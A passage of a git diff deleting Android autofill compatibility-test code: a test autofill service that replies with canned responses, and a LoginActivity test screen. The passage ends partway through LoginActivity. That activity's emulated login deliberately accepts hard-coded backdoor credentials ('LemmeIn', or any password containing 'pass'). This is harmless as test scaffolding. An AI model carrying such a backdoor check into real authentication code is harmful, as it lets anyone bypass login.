-            SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
-            final FillEventHistory history = service.getFillEventHistory();
-            assertThat(history.getEvents()).isNull();
-            return history;
-        }
-
-        return FILL_EVENTS_TIMEOUT.run("getFillEvents(" + expectedSize + ")", () -> {
-            final FillEventHistory history = service.getFillEventHistory();
-            if (history == null) {
-                return null;
-            }
-            final List<Event> events = history.getEvents();
-            if (events != null) {
-                if (events.size() != expectedSize) {
-                    Log.v(TAG, "Didn't get " + expectedSize + " events yet: " + events);
-                    return null;
-                }
-            } else {
-                Log.v(TAG, "Events is still null (expecting " + expectedSize + ")");
-                return null;
-            }
-            return history;
-        });
-    }
-
-    /**
-     * Asserts there is no {@link FillEventHistory}.
-     */
-    public static void assertNoFillEventHistory() {
-        // Need to always sleep as there is no condition / callback to be used to wait until
-        // expected number of events is set.
-        SystemClock.sleep(FILL_EVENTS_TIMEOUT.ms());
-        assertThat(peekInstance().getFillEventHistory()).isNull();
-
-    }
-
-    /**
-     * Gets the service label associated with the current instance.
-     */
-    public static String getServiceLabel() {
-        return sServiceLabel;
-    }
-
-    private void handleConnected(boolean connected) {
-        Log.v(TAG, "handleConnected(): from " + sConnected.get() + " to " + connected);
-        sConnected.set(connected);
-    }
-
-    @Override
-    public void onConnected() {
-        Log.v(TAG, "onConnected");
-        if (mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(new IllegalStateException("onConnected() called again"));
-        }
-        mConnected = true;
-        mHandler.post(() -> handleConnected(true));
-    }
-
-    @Override
-    public void onDisconnected() {
-        Log.v(TAG, "onDisconnected");
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onDisconnected() called when disconnected"));
-        }
-        mConnected = false;
-        mHandler.post(() -> handleConnected(false));
-    }
-
-    @Override
-    public void onFillRequest(android.service.autofill.FillRequest request,
-            CancellationSignal cancellationSignal, FillCallback callback) {
-        final ComponentName component = getLastActivityComponent(request.getFillContexts());
-        if (DUMP_FILL_REQUESTS) {
-            dumpStructure("onFillRequest()", request.getFillContexts());
-        } else {
-            Log.i(TAG, "onFillRequest() for " + component.toShortString());
-        }
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onFillRequest() called when disconnected"));
-        }
-
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onFillRequest(" + component + ") called after tests finished");
-            return;
-        }
-        if (!fromSamePackage(component))  {
-            Log.w(TAG, "Ignoring onFillRequest() from different package: " + component);
-            return;
-        }
-        mHandler.post(
-                () -> sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
-                        cancellationSignal, callback, request.getFlags(),
-                        request.getInlineSuggestionsRequest(), request.getId()));
-    }
-
-    @Override
-    public void onSaveRequest(android.service.autofill.SaveRequest request,
-            SaveCallback callback) {
-        if (!mConnected && FAIL_ON_INVALID_CONNECTION_STATE) {
-            dumpSelf();
-            sReplier.addException(
-                    new IllegalStateException("onSaveRequest() called when disconnected"));
-        }
-        mHandler.post(()->handleSaveRequest(request, callback));
-    }
-
-    private void handleSaveRequest(android.service.autofill.SaveRequest request,
-            SaveCallback callback) {
-        final ComponentName component = getLastActivityComponent(request.getFillContexts());
-        if (!TestNameUtils.isRunningTest()) {
-            Log.e(TAG, "onSaveRequest(" + component + ") called after tests finished");
-            return;
-        }
-        if (!fromSamePackage(component)) {
-            Log.w(TAG, "Ignoring onSaveRequest() from different package: " + component);
-            return;
-        }
-        if (DUMP_SAVE_REQUESTS) {
-            dumpStructure("onSaveRequest()", request.getFillContexts());
-        } else {
-            Log.i(TAG, "onSaveRequest() for " + component.toShortString());
-        }
-        mHandler.post(() -> sReplier.onSaveRequest(request.getFillContexts(),
-                request.getClientState(), callback,
-                request.getDatasetIds()));
-    }
-
-    public static boolean isConnected() {
-        return sConnected.get();
-    }
-
-    private boolean fromSamePackage(ComponentName component) {
-        final String actualPackage = component.getPackageName();
-        if (!actualPackage.equals(getPackageName())
-                && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
-            Log.w(TAG, "Got request from package " + actualPackage);
-            return false;
-        }
-        return true;
-    }
-
-    private ComponentName getLastActivityComponent(List<FillContext> contexts) {
-        return contexts.get(contexts.size() - 1).getStructure().getActivityComponent();
-    }
-
-    private void dumpSelf()  {
-        try {
-            try (StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw)) {
-                dump(null, pw, null);
-                pw.flush();
-                final String dump = sw.toString();
-                Log.e(TAG, "dumpSelf(): " + dump);
-            }
-        } catch (IOException e) {
-            Log.e(TAG, "I don't always fail to dump, but when I do, I dump the failure", e);
-        }
-    }
-
-    @Override
-    protected void dump(FileDescriptor fd, PrintWriter pw, String[] args) {
-        pw.print("sConnected: "); pw.println(sConnected);
-        pw.print("mConnected: "); pw.println(mConnected);
-        pw.print("sInstance: "); pw.println(sInstance);
-        pw.println("sReplier: "); sReplier.dump(pw);
-    }
-
-    /**
-     * Waits until {@link #onConnected()} is called, or fails if it times out.
-     *
-     * <p>This method is useful on tests that explicitly verifies the connection, but should be
-     * avoided in other tests, as it adds extra time to the test execution (and flakiness in cases
-     * where the service might have being disconnected already; for example, if the fill request
-     * was replied with a {@code null} response) - if a text needs to block until the service
-     * receives a callback, it should use {@link Replier#getNextFillRequest()} instead.
-     */
-    public static void waitUntilConnected() throws Exception {
-        waitConnectionState(CONNECTION_TIMEOUT, true);
-    }
-
-    /**
-     * Waits until {@link #onDisconnected()} is called, or fails if it times out.
-     *
-     * <p>This method is useful on tests that explicitly verifies the connection, but should be
-     * avoided in other tests, as it adds extra time to the test execution.
-     */
-    public static void waitUntilDisconnected() throws Exception {
-        waitConnectionState(IDLE_UNBIND_TIMEOUT, false);
-    }
-
-    private static void waitConnectionState(Timeout timeout, boolean expected) throws Exception {
-        timeout.run("wait for connected=" + expected,  () -> {
-            return isConnected() == expected ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the {@link Replier} singleton.
-     */
-    static Replier getReplier() {
-        return sReplier;
-    }
-
-    static void resetStaticState() {
-        sInstance.set(null);
-        sConnected.set(false);
-        sServiceLabel = SERVICE_CLASS;
-    }
-
-    /**
-     * POJO representation of the contents of a
-     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
-     * CancellationSignal, FillCallback)} that can be asserted at the end of a test case.
-     */
-    public static final class FillRequest {
-        public final AssistStructure structure;
-        public final List<FillContext> contexts;
-        public final Bundle data;
-        public final CancellationSignal cancellationSignal;
-        public final FillCallback callback;
-        public final int flags;
-        public final InlineSuggestionsRequest inlineRequest;
-
-        private FillRequest(List<FillContext> contexts, Bundle data,
-                CancellationSignal cancellationSignal, FillCallback callback, int flags,
-                InlineSuggestionsRequest inlineRequest) {
-            this.contexts = contexts;
-            this.data = data;
-            this.cancellationSignal = cancellationSignal;
-            this.callback = callback;
-            this.flags = flags;
-            this.structure = contexts.get(contexts.size() - 1).getStructure();
-            this.inlineRequest = inlineRequest;
-        }
-
-        @Override
-        public String toString() {
-            return "FillRequest[activity=" + getActivityName(contexts) + ", flags=" + flags
-                    + ", bundle=" + data + ", structure=" + Helper.toString(structure) + "]";
-        }
-    }
-
-    /**
-     * POJO representation of the contents of a
-     * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
-     * that can be asserted at the end of a test case.
-     */
-    public static final class SaveRequest {
-        public final List<FillContext> contexts;
-        public final AssistStructure structure;
-        public final Bundle data;
-        public final SaveCallback callback;
-        public final List<String> datasetIds;
-
-        private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
-                List<String> datasetIds) {
-            if (contexts != null && contexts.size() > 0) {
-                structure = contexts.get(contexts.size() - 1).getStructure();
-            } else {
-                structure = null;
-            }
-            this.contexts = contexts;
-            this.data = data;
-            this.callback = callback;
-            this.datasetIds = datasetIds;
-        }
-
-        @Override
-        public String toString() {
-            return "SaveRequest:" + getActivityName(contexts);
-        }
-    }
-
-    /**
-     * Object used to answer a
-     * {@link AutofillService#onFillRequest(android.service.autofill.FillRequest,
-     * CancellationSignal, FillCallback)}
-     * on behalf of a unit test method.
-     */
-    public static final class Replier {
-
-        private final BlockingQueue<CannedFillResponse> mResponses = new LinkedBlockingQueue<>();
-        private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
-        private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
-
-        private List<Throwable> mExceptions;
-        private IntentSender mOnSaveIntentSender;
-        private String mAcceptedPackageName;
-
-        private Handler mHandler;
-
-        private boolean mReportUnhandledFillRequest = true;
-        private boolean mReportUnhandledSaveRequest = true;
-
-        private Replier() {
-        }
-
-        private IdMode mIdMode = IdMode.RESOURCE_ID;
-
-        public void setIdMode(IdMode mode) {
-            this.mIdMode = mode;
-        }
-
-        public void acceptRequestsFromPackage(String packageName) {
-            mAcceptedPackageName = packageName;
-        }
-
-        /**
-         * Gets the exceptions thrown asynchronously, if any.
-         */
-        @Nullable
-        public List<Throwable> getExceptions() {
-            return mExceptions;
-        }
-
-        private void addException(@Nullable Throwable e) {
-            if (e == null) return;
-
-            if (mExceptions == null) {
-                mExceptions = new ArrayList<>();
-            }
-            mExceptions.add(e);
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest} as {@link FillResponse} with just
-         * one {@link Dataset}.
-         */
-        public Replier addResponse(CannedDataset dataset) {
-            return addResponse(new CannedFillResponse.Builder()
-                    .addDataset(dataset)
-                    .build());
-        }
-
-        /**
-         * Sets the expectation for the next {@code onFillRequest}.
-         */
-        public Replier addResponse(CannedFillResponse response) {
-            if (response == null) {
-                throw new IllegalArgumentException("Cannot be null - use NO_RESPONSE instead");
-            }
-            mResponses.add(response);
-            return this;
-        }
-
-        /**
-         * Sets the {@link IntentSender} that is passed to
-         * {@link SaveCallback#onSuccess(IntentSender)}.
-         */
-        public Replier setOnSave(IntentSender intentSender) {
-            mOnSaveIntentSender = intentSender;
-            return this;
-        }
-
-        /**
-         * Gets the next fill request, in the order received.
-         */
-        public FillRequest getNextFillRequest() {
-            FillRequest request;
-            try {
-                request = mFillRequests.poll(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(FILL_TIMEOUT, "onFillRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts that {@link #onFillRequest(List, Bundle, CancellationSignal, FillCallback, int)}
-         * was not called.
-         *
-         * <p>Should only be called in cases where it's not expected to be called, as it will
-         * sleep for a few ms.
-         */
-        public void assertOnFillRequestNotCalled() {
-            SystemClock.sleep(FILL_TIMEOUT.getMaxValue());
-            assertThat(mFillRequests).isEmpty();
-        }
-
-        /**
-         * Asserts all {@link AutofillService#onFillRequest(
-         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback) fill requests}
-         * received by the service were properly {@link #getNextFillRequest() handled} by the test
-         * case.
-         */
-        public void assertNoUnhandledFillRequests() {
-            if (mFillRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledFillRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledFillRequests(): already reported, "
-                        + "but logging just in case: " + mFillRequests);
-                return;
-            }
-
-            mReportUnhandledFillRequest = false;
-            throw new AssertionError(mFillRequests.size() + " unhandled fill requests: "
-                    + mFillRequests);
-        }
-
-        /**
-         * Gets the current number of unhandled requests.
-         */
-        public int getNumberUnhandledFillRequests() {
-            return mFillRequests.size();
-        }
-
-        /**
-         * Gets the next save request, in the order received.
-         *
-         * <p>Typically called at the end of a test case, to assert the initial request.
-         */
-        public SaveRequest getNextSaveRequest() {
-            SaveRequest request;
-            try {
-                request = mSaveRequests.poll(SAVE_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-                throw new IllegalStateException("Interrupted", e);
-            }
-            if (request == null) {
-                throw new RetryableException(SAVE_TIMEOUT, "onSaveRequest() not called");
-            }
-            return request;
-        }
-
-        /**
-         * Asserts all
-         * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)
-         * save requests} received by the service were properly
-         * {@link #getNextFillRequest() handled} by the test case.
-         */
-        public void assertNoUnhandledSaveRequests() {
-            if (mSaveRequests.isEmpty()) return; // Good job, test case!
-
-            if (!mReportUnhandledSaveRequest) {
-                // Just log, so it's not thrown again on @After if already thrown on main body
-                Log.d(TAG, "assertNoUnhandledSaveRequests(): already reported, "
-                        + "but logging just in case: " + mSaveRequests);
-                return;
-            }
-
-            mReportUnhandledSaveRequest = false;
-            throw new AssertionError(mSaveRequests.size() + " unhandled save requests: "
-                    + mSaveRequests);
-        }
-
-        public void setHandler(Handler handler) {
-            mHandler = handler;
-        }
-
-        /**
-         * Resets its internal state.
-         */
-        public void reset() {
-            mResponses.clear();
-            mFillRequests.clear();
-            mSaveRequests.clear();
-            mExceptions = null;
-            mOnSaveIntentSender = null;
-            mAcceptedPackageName = null;
-            mReportUnhandledFillRequest = true;
-            mReportUnhandledSaveRequest = true;
-        }
-
-        private void onFillRequest(List<FillContext> contexts, Bundle data,
-                CancellationSignal cancellationSignal, FillCallback callback, int flags,
-                InlineSuggestionsRequest inlineRequest, int requestId) {
-            try {
-                CannedFillResponse response = null;
-                try {
-                    response = mResponses.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-                } catch (InterruptedException e) {
-                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
-                    Thread.currentThread().interrupt();
-                    addException(e);
-                    return;
-                }
-                if (response == null) {
-                    final String activityName = getActivityName(contexts);
-                    final String msg = "onFillRequest() for activity " + activityName
-                            + " received when no canned response was set.";
-                    dumpStructure(msg, contexts);
-                    return;
-                }
-                if (response.getResponseType() == NULL) {
-                    Log.d(TAG, "onFillRequest(): replying with null");
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                if (response.getResponseType() == TIMEOUT) {
-                    Log.d(TAG, "onFillRequest(): not replying at all");
-                    return;
-                }
-
-                if (response.getResponseType() == FAILURE) {
-                    Log.d(TAG, "onFillRequest(): replying with failure");
-                    callback.onFailure("D'OH!");
-                    return;
-                }
-
-                if (response.getResponseType() == ResponseType.NO_MORE) {
-                    Log.w(TAG, "onFillRequest(): replying with null when not expecting more");
-                    addException(new IllegalStateException("got unexpected request"));
-                    callback.onSuccess(null);
-                    return;
-                }
-
-                final String failureMessage = response.getFailureMessage();
-                if (failureMessage != null) {
-                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
-                    callback.onFailure(failureMessage);
-                    return;
-                }
-
-                final FillResponse fillResponse;
-
-                switch (mIdMode) {
-                    case RESOURCE_ID:
-                        fillResponse = response.asFillResponse(contexts,
-                                (id) -> Helper.findNodeByResourceId(contexts, id));
-                        break;
-                    case HTML_NAME:
-                        fillResponse = response.asFillResponse(contexts,
-                                (name) -> Helper.findNodeByHtmlName(contexts, name));
-                        break;
-                    case HTML_NAME_OR_RESOURCE_ID:
-                        fillResponse = response.asFillResponse(contexts,
-                                (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
-                        break;
-                    default:
-                        throw new IllegalStateException("Unknown id mode: " + mIdMode);
-                }
-
-                if (response.getResponseType() == ResponseType.DELAY) {
-                    mHandler.postDelayed(() -> {
-                        Log.v(TAG,
-                                "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
-                        callback.onSuccess(fillResponse);
-                        // Add a fill request to let test case know response was sent.
-                        Helper.offer(mFillRequests,
-                                new FillRequest(contexts, data, cancellationSignal, callback,
-                                        flags, inlineRequest), CONNECTION_TIMEOUT.ms());
-                    }, RESPONSE_DELAY_MS);
-                } else {
-                    Log.v(TAG, "onFillRequest(" + requestId + "): fillResponse = " + fillResponse);
-                    callback.onSuccess(fillResponse);
-                }
-            } catch (Throwable t) {
-                addException(t);
-            } finally {
-                Helper.offer(mFillRequests, new FillRequest(contexts, data, cancellationSignal,
-                        callback, flags, inlineRequest), CONNECTION_TIMEOUT.ms());
-            }
-        }
-
-        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
-                List<String> datasetIds) {
-            Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
-
-            try {
-                if (mOnSaveIntentSender != null) {
-                    callback.onSuccess(mOnSaveIntentSender);
-                } else {
-                    callback.onSuccess();
-                }
-            } finally {
-                Helper.offer(mSaveRequests, new SaveRequest(contexts, data, callback, datasetIds),
-                        CONNECTION_TIMEOUT.ms());
-            }
-        }
-
-        private void dump(PrintWriter pw) {
-            pw.print("mResponses: "); pw.println(mResponses);
-            pw.print("mFillRequests: "); pw.println(mFillRequests);
-            pw.print("mSaveRequests: "); pw.println(mSaveRequests);
-            pw.print("mExceptions: "); pw.println(mExceptions);
-            pw.print("mOnSaveIntentSender: "); pw.println(mOnSaveIntentSender);
-            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
-            pw.print("mAcceptedPackageName: "); pw.println(mAcceptedPackageName);
-            pw.print("mReportUnhandledFillRequest: "); pw.println(mReportUnhandledSaveRequest);
-            pw.print("mIdMode: "); pw.println(mIdMode);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java
deleted file mode 100644
index b1c2a45..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillServiceCompatMode.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-import android.service.autofill.AutofillService;
-
-/**
- * Implementation of {@link AutofillService} using A11Y compat mode used in the tests.
- */
-public class InstrumentedAutoFillServiceCompatMode extends InstrumentedAutoFillService {
-
-    @SuppressWarnings("hiding")
-    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceCompatMode";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/." + SERVICE_CLASS;
-
-    public InstrumentedAutoFillServiceCompatMode() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
deleted file mode 100644
index c7c5070..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ /dev/null
@@ -1,379 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.text.TextUtils;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.view.inputmethod.InputMethodManager;
-import android.widget.Button;
-import android.widget.EditText;
-import android.widget.LinearLayout;
-import android.widget.TextView;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Activity that has the following fields:
- *
- * <ul>
- *   <li>Username EditText (id: username, no input-type)
- *   <li>Password EditText (id: "username", input-type textPassword)
- *   <li>Clear Button
- *   <li>Save Button
- *   <li>Login Button
- * </ul>
- */
-public class LoginActivity extends AbstractAutoFillActivity {
-
-    private static final String TAG = "LoginActivity";
-    private static String WELCOME_TEMPLATE = "Welcome to the new activity, %s!";
-    private static final long LOGIN_TIMEOUT_MS = 1000;
-
-    public static final String ID_USERNAME_CONTAINER = "username_container";
-    public static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
-    public static final String BACKDOOR_USERNAME = "LemmeIn";
-    public static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
-
-    private static LoginActivity sCurrentActivity;
-
-    private LinearLayout mUsernameContainer;
-    private TextView mUsernameLabel;
-    private EditText mUsernameEditText;
-    private TextView mPasswordLabel;
-    private EditText mPasswordEditText;
-    private TextView mOutput;
-    private Button mLoginButton;
-    private Button mSaveButton;
-    private Button mCancelButton;
-    private Button mClearButton;
-    private FillExpectation mExpectation;
-
-    // State used to synchronously get the result of a login attempt.
-    private CountDownLatch mLoginLatch;
-    private String mLoginMessage;
-
-    /**
-     * Gets the expected welcome message for a given username.
-     */
-    public static String getWelcomeMessage(String username) {
-        return String.format(WELCOME_TEMPLATE,  username);
-    }
-
-    /**
-     * Gests the latest instance.
-     *
-     * <p>Typically used in test cases that rotates the activity
-     */
-    @SuppressWarnings("unchecked") // Its up to caller to make sure it's setting the right one
-    public static <T extends LoginActivity> T getCurrentActivity() {
-        return (T) sCurrentActivity;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(getContentView());
-
-        mUsernameContainer = findViewById(R.id.username_container);
-        mLoginButton = findViewById(R.id.login);
-        mSaveButton = findViewById(R.id.save);
-        mClearButton = findViewById(R.id.clear);
-        mCancelButton = findViewById(R.id.cancel);
-        mUsernameLabel = findViewById(R.id.username_label);
-        mUsernameEditText = findViewById(R.id.username);
-        mPasswordLabel = findViewById(R.id.password_label);
-        mPasswordEditText = findViewById(R.id.password);
-        mOutput = findViewById(R.id.output);
-
-        mLoginButton.setOnClickListener((v) -> login());
-        mSaveButton.setOnClickListener((v) -> save());
-        mClearButton.setOnClickListener((v) -> {
-            mUsernameEditText.setText("");
-            mPasswordEditText.setText("");
-            mOutput.setText("");
-            getAutofillManager().cancel();
-        });
-        mCancelButton.setOnClickListener((OnClickListener) v -> finish());
-
-        sCurrentActivity = this;
-    }
-
-    protected int getContentView() {
-        return R.layout.login_activity;
-    }
-
-    /**
-     * Emulates a login action.
-     */
-    private void login() {
-        final String username = mUsernameEditText.getText().toString();
-        final String password = mPasswordEditText.getText().toString();
-        final boolean valid = username.equals(password)
-                || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
-                || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
-                || username.equals(BACKDOOR_USERNAME);
-
-        if (valid) {
-            Log.d(TAG, "login ok: " + username);
-            final Intent intent = new Intent(this, WelcomeActivity.class);
-            final String message = getWelcomeMessage(username);
-            intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
-            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            setLoginMessage(message);
-            startActivity(intent);
-            finish();
-        } else {
-            Log.d(TAG, "login failed: " + AUTHENTICATION_MESSAGE);
-            mOutput.setText(AUTHENTICATION_MESSAGE);
-            setLoginMessage(AUTHENTICATION_MESSAGE);
-        }
-    }
-
-    private void setLoginMessage(String message) {
-        Log.d(TAG, "setLoginMessage(): " + message);
-        if (mLoginLatch != null) {
-            mLoginMessage = message;
-            mLoginLatch.countDown();
-        }
-    }
-
-    /**
-     * Explicitly forces the AutofillManager to save the username and password.
-     */
-    private void save() {
-        final InputMethodManager imm = (InputMethodManager) getSystemService(
-                Context.INPUT_METHOD_SERVICE);
-        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
-        getAutofillManager().commit();
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for all fields), so it can be asserted through
-     * {@link #assertAutoFilled()} later.
-     */
-    public void expectAutoFill(String username, String password) {
-        mExpectation = new FillExpectation(username, password);
-        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
-        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for username only), so it can be asserted
-     * through {@link #assertAutoFilled()} later.
-     *
-     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
-     * this method too early, it may cause test fail. Call this method before checking autofill
-     * behavior.
-     * <pre>
-     * An example usage is:
-     * <code>
-     *  public void testAutofill() throws Exception {
-     *      // Enable service and trigger autofill
-     *      enableService();
-     *      final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
-     *                 .addDataset(new CannedFillResponse.CannedDataset.Builder()
-     *                         .setField(ID_USERNAME, "test")
-     *                         .setField(ID_PASSWORD, "tweet")
-     *                         .setPresentation(createPresentation("Second Dude"))
-     *                         .setInlinePresentation(createInlinePresentation("Second Dude"))
-     *                         .build());
-     *      sReplier.addResponse(builder.build());
-     *      mUiBot.selectByRelativeId(ID_USERNAME);
-     *      sReplier.getNextFillRequest();
-     *      // Filter suggestion
-     *      mActivity.onUsername((v) -> v.setText("t"));
-     *      mUiBot.assertDatasets("Second Dude");
-     *
-     *      // Call expectAutoFill() before checking autofill behavior
-     *      mActivity.expectAutoFill("test", "tweet");
-     *      mUiBot.selectDataset("Second Dude");
-     *      mActivity.assertAutoFilled();
-     *  }
-     * </code>
-     * </pre>
-     */
-    public void expectAutoFill(String username) {
-        mExpectation = new FillExpectation(username);
-        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
-    }
-
-    /**
-     * Sets the expectation for an autofill request (for password only), so it can be asserted
-     * through {@link #assertAutoFilled()} later.
-     *
-     * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
-     * this method too early, it may cause test fail. Call this method before checking autofill
-     * behavior. {@See #expectAutoFill(String)} for how it should be used.
-     */
-    public void expectPasswordAutoFill(String password) {
-        mExpectation = new FillExpectation(null, password);
-        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
-    }
-
-    /**
-     * Asserts the activity was auto-filled with the values passed to
-     * {@link #expectAutoFill(String, String)}.
-     */
-    public void assertAutoFilled() throws Exception {
-        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        if (mExpectation.ccUsernameWatcher != null) {
-            mExpectation.ccUsernameWatcher.assertAutoFilled();
-        }
-        if (mExpectation.ccPasswordWatcher != null) {
-            mExpectation.ccPasswordWatcher.assertAutoFilled();
-        }
-    }
-
-    public void forceAutofillOnUsername() {
-        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mUsernameEditText));
-    }
-
-    public void forceAutofillOnPassword() {
-        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mPasswordEditText));
-    }
-
-    /**
-     * Visits the {@code username_label} in the UiThread.
-     */
-    public void onUsernameLabel(Visitor<TextView> v) {
-        syncRunOnUiThread(() -> v.visit(mUsernameLabel));
-    }
-
-    /**
-     * Visits the {@code username} in the UiThread.
-     */
-    public void onUsername(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mUsernameEditText));
-    }
-
-    @Override
-    public void clearFocus() {
-        syncRunOnUiThread(() -> ((View) mUsernameContainer.getParent()).requestFocus());
-    }
-
-    /**
-     * Gets the {@code username_label} view.
-     */
-    public TextView getUsernameLabel() {
-        return mUsernameLabel;
-    }
-
-    /**
-     * Gets the {@code username} view.
-     */
-    public EditText getUsername() {
-        return mUsernameEditText;
-    }
-
-    /**
-     * Visits the {@code password_label} in the UiThread.
-     */
-    public void onPasswordLabel(Visitor<TextView> v) {
-        syncRunOnUiThread(() -> v.visit(mPasswordLabel));
-    }
-
-    /**
-     * Visits the {@code password} in the UiThread.
-     */
-    public void onPassword(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> v.visit(mPasswordEditText));
-    }
-
-    /**
-     * Visits the {@code login} button in the UiThread.
-     */
-    public void onLogin(Visitor<Button> v) {
-        syncRunOnUiThread(() -> v.visit(mLoginButton));
-    }
-
-    /**
-     * Gets the {@code password} view.
-     */
-    public EditText getPassword() {
-        return mPasswordEditText;
-    }
-
-    /**
-     * Taps the login button in the UI thread.
-     */
-    public String tapLogin() throws Exception {
-        mLoginLatch = new CountDownLatch(1);
-        syncRunOnUiThread(() -> mLoginButton.performClick());
-        boolean called = mLoginLatch.await(LOGIN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        assertWithMessage("Timeout (%s ms) waiting for login", LOGIN_TIMEOUT_MS)
-                .that(called).isTrue();
-        return mLoginMessage;
-    }
-
-    /**
-     * Taps the save button in the UI thread.
-     */
-    public void tapSave() throws Exception {
-        syncRunOnUiThread(() -> mSaveButton.performClick());
-    }
-
-    /**
-     * Taps the clear button in the UI thread.
-     */
-    public void tapClear() {
-        syncRunOnUiThread(() -> mClearButton.performClick());
-    }
-
-    /**
-     * Sets the window flags.
-     */
-    public void setFlags(int flags) {
-        Log.d(TAG, "setFlags():" + flags);
-        syncRunOnUiThread(() -> getWindow().setFlags(flags, flags));
-    }
-
-    /**
-     * Adds a child view to the root container.
-     */
-    public void addChild(View child) {
-        Log.d(TAG, "addChild(" + child + "): id=" + child.getAutofillId());
